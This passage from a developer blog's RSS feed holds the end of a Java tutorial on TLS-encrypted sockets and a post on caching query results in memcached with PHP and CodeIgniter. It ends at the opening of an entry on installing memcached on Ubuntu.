                <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Astring+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">String</span></a> serverIP <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;192.168.0.1&quot;</span><span style="color: #339933;">;</span>
                <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ainteger+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Integer</span></a> serverPort <span style="color: #339933;">=</span> <span style="color: #cc66cc;">8880</span><span style="color: #339933;">;</span>
                <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ainteger+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Integer</span></a> timeOut <span style="color: #339933;">=</span> <span style="color: #cc66cc;">5000</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//5000 millisecond timeout</span>
                <span style="color: #666666; font-style: italic;">//get the address and port of the server</span>
                <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ainetaddress+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">InetAddress</span></a> addr <span style="color: #339933;">=</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Ainetaddress+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">InetAddress</span></a>.<span style="color: #006633;">getByName</span><span style="color: #009900;">&#40;</span>serverIP<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                SocketAddress sockaddr <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> InetSocketAddress<span style="color: #009900;">&#40;</span>addr, serverPort<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//get a keystore instance </span>
                <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Akeystore+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">KeyStore</span></a> localKeyStore <span style="color: #339933;">=</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Akeystore+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">KeyStore</span></a>.<span style="color: #006633;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;JKS&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//password for keystore</span>
                <span style="color: #000066; font-weight: bold;">char</span><span style="color: #009900;">&#91;</span><span style="color: #009900;">&#93;</span> localKeyStorePassword <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;keyStorePassword&quot;</span>.<span style="color: #006633;">toCharArray</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//load the keystore</span>
                localKeyStore.<span style="color: #006633;">load</span><span style="color: #009900;">&#40;</span><span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Afileinputstream+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">FileInputStream</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/var/local/keystore.jks&quot;</span><span style="color: #009900;">&#41;</span>, localKeyStorePassword<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//Create the trust manager factory</span>
                TrustManagerFactory tmf <span style="color: #339933;">=</span> TrustManagerFactory.<span style="color: #006633;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SunX509&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//point it to the local keystore for certificates</span>
                tmf.<span style="color: #006633;">init</span><span style="color: #009900;">&#40;</span> localKeyStore <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//create the keymanager</span>
                KeyManagerFactory kmf <span style="color: #339933;">=</span> KeyManagerFactory.<span style="color: #006633;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SunX509&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//point it to the local store for certificates</span>
                kmf.<span style="color: #006633;">init</span><span style="color: #009900;">&#40;</span>localKeyStore, localKeyStorePassword<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//create and initialize a secure random number generator</span>
                <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Asecurerandom+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">SecureRandom</span></a> secureRandom <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Asecurerandom+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">SecureRandom</span></a><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                secureRandom.<span style="color: #006633;">nextInt</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>  <span style="color: #666666; font-style: italic;">// Force initialisation to occur now.</span>
                <span style="color: #666666; font-style: italic;">//create our sslcontext and set it as type TLS</span>
                SSLContext sslContext <span style="color: #339933;">=</span> SSLContext.<span style="color: #006633;">getInstance</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;TLS&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//initialize it and tell it where the keystore and truststore are</span>
                sslContext.<span style="color: #006633;">init</span><span style="color: #009900;">&#40;</span>kmf.<span style="color: #006633;">getKeyManagers</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, tmf.<span style="color: #006633;">getTrustManagers</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>, secureRandom<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//create a socket factory from our newly initialized sslContext</span>
                SSLSocketFactory sf <span style="color: #339933;">=</span> sslContext.<span style="color: #006633;">getSocketFactory</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//get a socket from the factory</span>
                SSLSocket skt <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span>SSLSocket<span style="color: #009900;">&#41;</span>sf.<span style="color: #006633;">createSocket</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//create the socket but dont connect yet</span>
                <span style="color: #666666; font-style: italic;">//connect to the previously created address/port with a timeout</span>
                skt.<span style="color: #006633;">connect</span><span style="color: #009900;">&#40;</span>sockaddr, timeOut<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #666666; font-style: italic;">//set the timeout for any comms</span>
                skt.<span style="color: #006633;">setSoTimeout</span><span style="color: #009900;">&#40;</span>timeOut<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
                <span style="color: #000000; font-weight: bold;">return</span> skt<span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #000000; font-weight: bold;">catch</span><span style="color: #009900;">&#40;</span> <a href="http://www.google.com/search?hl=en&amp;q=allinurl%3Aexception+java.sun.com&amp;btnI=I%27m%20Feeling%20Lucky"><span style="color: #003399;">Exception</span></a> e <span style="color: #009900;">&#41;</span>
        <span style="color: #009900;">&#123;</span>
            <span style="color: #000000; font-weight: bold;">return</span> <span style="color: #000066; font-weight: bold;">null</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d137').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d137" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://buzz.yahoo.com/submit?submitUrl=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F&amp;submitHeadline=Encrypt+tcp+socket+communications+with+Java&amp;submitSummary=" rel="nofollow" title="Add to&nbsp;Buzz"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/buzz.png" title="Add to&nbsp;Buzz" alt="Add to&nbsp;Buzz" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F&amp;title=Encrypt+tcp+socket+communications+with+Java" rel="nofollow" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F&amp;title=Encrypt+tcp+socket+communications+with+Java" rel="nofollow" title="Add to&nbsp;digg"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F&amp;title=Encrypt+tcp+socket+communications+with+Java" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.mister-wong.com/index.php?action=addurl&amp;bm_url=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F&amp;bm_description=Encrypt+tcp+socket+communications+with+Java" rel="nofollow" title="Add to&nbsp;Mister Wong"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/misterwong.png" title="Add to&nbsp;Mister Wong" alt="Add to&nbsp;Mister Wong" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.netscape.com/submit/?U=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F&amp;T=Encrypt+tcp+socket+communications+with+Java" rel="nofollow" title="Add to&nbsp;Netscape"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/netscape.png" title="Add to&nbsp;Netscape" alt="Add to&nbsp;Netscape" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F&amp;title=Encrypt+tcp+socket+communications+with+Java" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F&amp;title=Encrypt+tcp+socket+communications+with+Java" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F" rel="nofollow" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://tipd.com/submit.php?url=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F" rel="nofollow" title="Add to&nbsp;Tip'd"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/tipd.png" title="Add to&nbsp;Tip'd" alt="Add to&nbsp;Tip'd" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Encrypt+tcp+socket+communications+with+Java+@+http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.zayinkrige.com%2Fencrypt-tcp-socket-communications-with-java%2F&amp;t=Encrypt+tcp+socket+communications+with+Java" rel="nofollow" title="Add to&nbsp;Yahoo My Web"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/yahoo.png" title="Add to&nbsp;Yahoo My Web" alt="Add to&nbsp;Yahoo My Web" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d137').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d137').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/encrypt-tcp-socket-communications-with-java/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Using memcached with PHP and CodeIgniter</title>
		<link>http://www.zayinkrige.com/using-memcached-with-php-and-codeigniter/</link>
		<comments>http://www.zayinkrige.com/using-memcached-with-php-and-codeigniter/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 15:29:07 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[memcached]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=128</guid>
		<description><![CDATA[This is a very basic example of using memcache + PHP Use at your own peril ?View Code PHP$memcache = new Memcache; $memcache-&#62;connect&#40;&#34;127.0.0.1&#34;&#41;; $sql = &#34;select * from some_huge_table where tx_date &#60;= now()-365 limit 0, 5000&#34;; $key = md5&#40;$sql&#41;; $query = $memcache-&#62;get&#40;$key&#41;; //the query isnt in the cache if &#40;$query == null&#41; &#123; $query = [...]]]></description>
			<content:encoded><![CDATA[<p>This is a very basic example of using memcache + PHP</p>
<p>Use at your own peril</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left"><a href="javascript:;" onclick="javascript:showCodeTxt('p128code21'); return false;">View Code</a> PHP</span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p12821"><td class="code" id="p128code21"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$memcache</span> <span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> Memcache<span style="color: #339933;">;</span>
<span style="color: #000088;">$memcache</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">connect</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;127.0.0.1&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;select * from some_huge_table where tx_date &lt;= now()-365 limit 0, 5000&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$key</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/md5"><span style="color: #990000;">md5</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$memcache</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">get</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;">//the query isnt in the cache</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span> <span style="color: #339933;">==</span> <span style="color: #009900; font-weight: bold;">null</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$this</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">db</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">query</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$query</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$query</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">result</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #666666; font-style: italic;">//put it in the cache</span>
    <span style="color: #000088;">$memcache</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span><span style="color: #339933;">,</span><span style="color: #000088;">$query</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">600</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #666666; font-style: italic;">//10 minute expiry</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/count"><span style="color: #990000;">count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$query</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #666666; font-style: italic;">//do something with $query</span>
<span style="color: #009900;">&#125;</span></pre></td></tr></table></div>

<p>This example loads memcached, looks for a key, and if its not there, stores it. SIMPLE</p>
<p>****UPDATE****</p>
<p>Today while going through CI framework, I realized that CI can do its own query caching, albeit to disk. For more info on CI query caching, look go <a href="http://codeigniter.com/user_guide/database/caching.html">here</a></p>
<p>To change this to memcached caching should be a cinch, and indeed, it is. Head over <a href="http://codeigniter.com/forums/viewthread/125699/">here</a> to see how.</p>
<p>So without having to change a single line of code in your application, you can take full advantage of memcached for caching query results</p>
<!-- Social Bookmarks BEGIN -->
<div class="social_bookmark">
<a title="Click me to see the sites." href="#" onclick="$$('div.d128').each( function(e) { e.visualEffect('slide_down',{duration:2.5}) }); return false;"><strong><em>Bookmark It</em></strong></a>
<br />
<div class="d128" style="overflow:hidden">
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://buzz.yahoo.com/submit?submitUrl=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F&amp;submitHeadline=Using+memcached+with+PHP+and+CodeIgniter&amp;submitSummary=" rel="nofollow" title="Add to&nbsp;Buzz"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/buzz.png" title="Add to&nbsp;Buzz" alt="Add to&nbsp;Buzz" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://del.icio.us/post?url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F&amp;title=Using+memcached+with+PHP+and+CodeIgniter" rel="nofollow" title="Add to&nbsp;Del.icio.us"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/delicious.png" title="Add to&nbsp;Del.icio.us" alt="Add to&nbsp;Del.icio.us" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://digg.com/submit?phase=2&amp;url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F&amp;title=Using+memcached+with+PHP+and+CodeIgniter" rel="nofollow" title="Add to&nbsp;digg"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/digg.png" title="Add to&nbsp;digg" alt="Add to&nbsp;digg" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.facebook.com/sharer.php?u=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F" rel="nofollow" title="Add to&nbsp;Facebook"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/facebook.png" title="Add to&nbsp;Facebook" alt="Add to&nbsp;Facebook" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.google.com/bookmarks/mark?op=edit&amp;output=popup&amp;bkmk=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F&amp;title=Using+memcached+with+PHP+and+CodeIgniter" rel="nofollow" title="Add to&nbsp;Google Bookmarks"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/google.png" title="Add to&nbsp;Google Bookmarks" alt="Add to&nbsp;Google Bookmarks" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.mister-wong.com/index.php?action=addurl&amp;bm_url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F&amp;bm_description=Using+memcached+with+PHP+and+CodeIgniter" rel="nofollow" title="Add to&nbsp;Mister Wong"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/misterwong.png" title="Add to&nbsp;Mister Wong" alt="Add to&nbsp;Mister Wong" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.netscape.com/submit/?U=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F&amp;T=Using+memcached+with+PHP+and+CodeIgniter" rel="nofollow" title="Add to&nbsp;Netscape"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/netscape.png" title="Add to&nbsp;Netscape" alt="Add to&nbsp;Netscape" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://reddit.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F&amp;title=Using+memcached+with+PHP+and+CodeIgniter" rel="nofollow" title="Add to&nbsp;reddit"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/reddit.png" title="Add to&nbsp;reddit" alt="Add to&nbsp;reddit" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F&amp;title=Using+memcached+with+PHP+and+CodeIgniter" rel="nofollow" title="Add to&nbsp;Stumble Upon"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/stumbleupon.png" title="Add to&nbsp;Stumble Upon" alt="Add to&nbsp;Stumble Upon" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://www.technorati.com/faves?add=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F" rel="nofollow" title="Add to&nbsp;Technorati"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/technorati.png" title="Add to&nbsp;Technorati" alt="Add to&nbsp;Technorati" /></a>
<br />
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://tipd.com/submit.php?url=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F" rel="nofollow" title="Add to&nbsp;Tip'd"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/tipd.png" title="Add to&nbsp;Tip'd" alt="Add to&nbsp;Tip'd" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://twitter.com/home/?status=Check+out+Using+memcached+with+PHP+and+CodeIgniter+@+http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F" rel="nofollow" title="Add to&nbsp;Twitter"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/twitter.png" title="Add to&nbsp;Twitter" alt="Add to&nbsp;Twitter" /></a>
<a onclick="window.open(this.href, '_blank', 'scrollbars=yes,menubar=no,height=600,width=750,resizable=yes,toolbar=no,location=no,status=no'); return false;" href="http://myweb2.search.yahoo.com/myresults/bookmarklet?u=http%3A%2F%2Fwww.zayinkrige.com%2Fusing-memcached-with-php-and-codeigniter%2F&amp;t=Using+memcached+with+PHP+and+CodeIgniter" rel="nofollow" title="Add to&nbsp;Yahoo My Web"><img class="social_img" src="http://www.zayinkrige.com/wp-content/plugins/social-bookmarks/images/yahoo.png" title="Add to&nbsp;Yahoo My Web" alt="Add to&nbsp;Yahoo My Web" /></a>
<br />
<a style="font-size:90%;text-align: right; " title="Click me to hide the sites." href="#" onclick="$$('div.d128').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); return false;">Hide Sites</a>
</div>
</div>
<!-- Social Bookmarks END -->
<script type="text/javascript">$$('div.d128').each( function(e) { e.visualEffect('slide_up',{duration:0.5}) }); </script>]]></content:encoded>
			<wfw:commentRss>http://www.zayinkrige.com/using-memcached-with-php-and-codeigniter/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Installing memcached on ubuntu 10.04</title>
		<link>http://www.zayinkrige.com/installing-memcached-on-ubuntu-10-04/</link>
		<comments>http://www.zayinkrige.com/installing-memcached-on-ubuntu-10-04/#comments</comments>
		<pubDate>Mon, 21 Jun 2010 06:19:09 +0000</pubDate>
		<dc:creator>Zayin</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.zayinkrige.com/?p=122</guid>
		<description><![CDATA[Memcache is a very simple caching system that uses memory to store objects. As you may already know, memory is faster to read than hard drive. A site will take a lot less time to read a database result cached in memory. To make the best use of memcache, you should install the memcached module. [...]]]></description>
